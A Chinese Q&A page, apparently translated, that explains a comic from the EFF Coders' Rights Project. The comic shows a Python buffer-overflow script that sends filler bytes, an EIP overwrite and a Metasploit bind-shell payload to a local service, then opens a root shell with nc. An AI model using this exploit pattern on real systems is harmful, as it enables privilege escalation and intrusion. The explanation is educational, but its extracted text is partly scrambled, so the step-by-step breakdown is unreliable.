我偶然发现了这篇文章:Electronic Frontier Foundation - Coders' Rights Project.
我正在尝试理解此图中的代码:
图片中的代码:
$ open catfood
catfood: Unable to open catfood
Permission denied
$ cat > canopener.py
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 7500))
crash = '\x41'*1337
eip = '\xFF\xFE\xEF\x08'
payload = open("msf-bindshell-8888.bin").read()
sock.send(crash+eip+payload)
sock.close()
$ chmod +x canopener.py; ./canopener.py
$ nc -vv localhost 8888
localhost [127.0.0.1] 8888 (?) open
# open catfood
Opening delicious catfood...
我的理解是,这是一种使用python代码未经授权访问,连接到localhost并发送有效负载的黑客,但我的知识止于此。
这是一个真正的黑客还是我不理解的玩笑?
答案 0 :(得分:3)
这完全基于现实。细目:
open catfood
,但缺少执行此操作所需的权限。127.0.0.1:7500
上监听的程序。canopener.py
的文件来利用此漏洞,方法是首先发送crash
,其中1,337个字母A(这是'\x41'*1337
产生的字母)溢出缓冲区,然后{{ 1}},要运行的代码的地址(此处未显示计算细节,因此我们假设它们计算正确),然后是eip
,有效载荷代码本身(payload
,来自Metasploit的有效负载,可在端口8888上提供外壳)。msf-bindshell-8888.bin
可执行并执行。这将导致有效负载以root用户身份运行。canopener.py
提示符代替过去的#
提示符)。$
命令。